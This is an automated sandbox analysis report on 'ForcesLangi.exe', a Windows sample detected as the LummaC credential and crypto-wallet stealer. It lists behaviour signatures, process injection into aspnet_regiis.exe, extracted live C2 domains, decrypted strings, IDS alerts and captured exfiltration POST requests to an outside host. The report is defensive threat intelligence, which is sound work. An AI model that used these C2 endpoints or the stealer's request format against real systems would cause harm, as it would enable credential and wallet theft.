Edit tour

Windows Analysis Report
ForcesLangi.exe

Overview

General Information

Sample name:	ForcesLangi.exe
Analysis ID:	1581499
MD5:	64f1abe3f2f65e545c54b23809c06583
SHA1:	8c32e992999dd0bf57cc45fed77c858cb4768a09
SHA256:	05617db5aed9685ac891f4a7539294603640443b4ca5534abac163a544c574fa
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ForcesLangi.exe (PID: 6588 cmdline: "C:\Users\user\Desktop\ForcesLangi.exe" MD5: 64F1ABE3F2F65E545C54B23809C06583)

conhost.exe (PID: 6564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aspnet_regiis.exe (PID: 4820 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" MD5: 5D1D74198D75640E889F0A577BBF31FC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["scentniej.buzz", "rebuildeso.buzz", "ingreem-eilish.biz", "screwamusresz.buzz", "cashfuzysao.buzz", "inherineau.buzz", "prisonyfork.buzz", "appliacnesot.buzz", "hummskitnj.buzz"], "Build id": "HpOoIh--aadb880da83d"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1831814063.0000000002A74000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1832206097.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1831883195.0000000002A7A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 4820	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 4820	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: aspnet_regiis.exe PID: 4820	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.binstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:37:59.411853+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	92.122.104.90	443	TCP
2024-12-27T22:38:01.942440+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-27T22:38:03.936184+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.66.86	443	TCP
2024-12-27T22:38:06.368262+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.66.86	443	TCP
2024-12-27T22:38:08.761026+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.66.86	443	TCP
2024-12-27T22:38:13.131035+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.66.86	443	TCP
2024-12-27T22:38:15.715385+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.66.86	443	TCP
2024-12-27T22:38:17.788574+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	104.21.66.86	443	TCP
2024-12-27T22:38:20.418310+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:38:02.668693+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.66.86	443	TCP
2024-12-27T22:38:04.707649+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:38:02.668693+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:38:04.707649+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	104.21.66.86	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:38:19.549492+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49739	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T22:38:00.287622+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	92.122.104.90	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com:443/apipi	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/?#	Avira URL Cloud: Label: malware
Source: https://prisonyfork.buzz:443/api	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiA	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiQ0O0q	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/api_q	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/apiB	Avira URL Cloud: Label: malware
Source: https://appliacnesot.buzz:443/api	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apil	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com:443/apiZ	Avira URL Cloud: Label: malware

Found malware configuration

Source: ForcesLangi.exe

Malware Configuration Extractor: LummaC {"C2 url": ["scentniej.buzz", "rebuildeso.buzz", "ingreem-eilish.biz", "screwamusresz.buzz", "cashfuzysao.buzz", "inherineau.buzz", "prisonyfork.buzz", "appliacnesot.buzz", "hummskitnj.buzz"], "Build id": "HpOoIh--aadb880da83d"}

Multi AV Scanner detection for submitted file

Source: ForcesLangi.exe

ReversingLabs: Detection: 52%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\gdi32.dll

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ForcesLangi.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: ForcesLangi.exe	String decryptor: hummskitnj.buzz
Source: ForcesLangi.exe	String decryptor: cashfuzysao.buzz
Source: ForcesLangi.exe	String decryptor: appliacnesot.buzz
Source: ForcesLangi.exe	String decryptor: screwamusresz.buzz
Source: ForcesLangi.exe	String decryptor: inherineau.buzz
Source: ForcesLangi.exe	String decryptor: scentniej.buzz
Source: ForcesLangi.exe	String decryptor: rebuildeso.buzz
Source: ForcesLangi.exe	String decryptor: prisonyfork.buzz
Source: ForcesLangi.exe	String decryptor: ingreem-eilish.biz
Source: ForcesLangi.exe	String decryptor: lid=%s&j=%s&ver=4.0
Source: ForcesLangi.exe	String decryptor: TeslaBrowser/5.5
Source: ForcesLangi.exe	String decryptor: - Screen Resoluton:
Source: ForcesLangi.exe	String decryptor: - Physical Installed Memory:
Source: ForcesLangi.exe	String decryptor: Workgroup: -
Source: ForcesLangi.exe	String decryptor: HpOoIh--aadb880da83d

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 2_2_007357C0 CryptUnprotectData,

2_2_007357C0

Source: ForcesLangi.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 92.122.104.90:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: ForcesLangi.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\ForcesLangi.exe

Code function: 0_2_6CE331E0 FindFirstFileExW,

0_2_6CE331E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	2_2_00728A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00741A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	2_2_00760340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074D34A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	2_2_0072CC7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, ebx	2_2_00747440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	2_2_00747440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	2_2_00760D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ebx	2_2_00728600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	2_2_00761720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0074C850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00742830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	2_2_0075C830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then push esi	2_2_0072C805
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	2_2_0073B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	2_2_0073B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074C0E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov esi, ecx	2_2_007490D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0073D8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0073D8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074E0DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov eax, ebx	2_2_0073C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	2_2_0073C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	2_2_0073C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	2_2_0073C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0073D8AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0073D8AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	2_2_0074B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0074D17D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	2_2_00761160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0074D116
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_007489E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_007481CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp edx	2_2_007439B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	2_2_007439B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	2_2_0075C990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0074B980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	2_2_0075CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	2_2_0075FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_00756210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_0074AAC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	2_2_0072AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	2_2_0075FB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	2_2_0075FB2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	2_2_0075FB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0073C300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	2_2_007273D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	2_2_007273D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_007483D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	2_2_0073EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0073747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [edx], di	2_2_0073747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	2_2_0074C465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074C465
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00734CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	2_2_0075FD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax+61765397h]	2_2_0073B57D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	2_2_00746D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	2_2_00748528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	2_2_0075CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	2_2_0075CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	2_2_0075CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	2_2_0075CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074DDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	2_2_0075EDC1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, ecx	2_2_0074A5B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_00742E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp edx	2_2_00742E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	2_2_00742E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov byte ptr [ebx], al	2_2_0074DE07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then dec edx	2_2_0075FE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	2_2_007606F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	2_2_00722EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edx, ecx	2_2_00749E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_00736F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	2_2_00747740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp eax	2_2_00749739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov ecx, eax	2_2_0074BF13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov edi, dword ptr [esp+28h]	2_2_00745F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then jmp edx	2_2_007437D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 4x nop then mov dword ptr [esp+20h], eax	2_2_00729780

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49730 -> 92.122.104.90:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: ingreem-eilish.biz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 92.122.104.90 92.122.104.90

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 92.122.104.90:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LEXMHB03TXM1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18134Host: lev-tolstoi.com
